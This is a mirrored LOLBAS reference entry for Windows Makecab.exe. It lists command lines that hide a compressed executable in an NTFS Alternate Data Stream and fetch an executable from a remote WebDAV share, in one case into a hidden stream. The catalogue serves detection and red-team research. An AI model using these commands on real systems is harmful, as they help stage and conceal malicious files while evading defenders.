mirror of
https://github.com/LOLBAS-Project/LOLBAS
synced 2024-12-30 16:54:00 +01:00
24 lines
759 B
Markdown
24 lines
759 B
Markdown
|
## Makecab.exe
|
||
|
* Functions: Package, Add ADS, Download
|
||
|
```
|
||
|
|
||
|
makecab c:\ADS\autoruns.exe c:\ADS\cabtest.txt:autoruns.cab
|
||
|
Compresses the target file into a CAB file stored in the Alternate Data Stream (ADS) of the target file.
|
||
|
|
||
|
makecab \\webdavserver\webdav\file.exe C:\Folder\file.cab
|
||
|
Compresses the target file and stores it in the target file.
|
||
|
|
||
|
makecab \\webdavserver\webdav\file.exe C:\Folder\file.txt:file.cab
|
||
|
Compresses the target file into a CAB file stored in the Alternate Data Stream (ADS) of the target file.
|
||
|
```
|
||
|
|
||
|
* Resources:
|
||
|
* https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f
|
||
|
|
||
|
* Full path:
|
||
|
* c:\windows\system32\makecab.exe
|
||
|
* c:\windows\sysWOW64\makecab.exe
|
||
|
|
||
|
* Notes: Thanks to Oddvar Moe - @oddvarmoe
|
||
|
|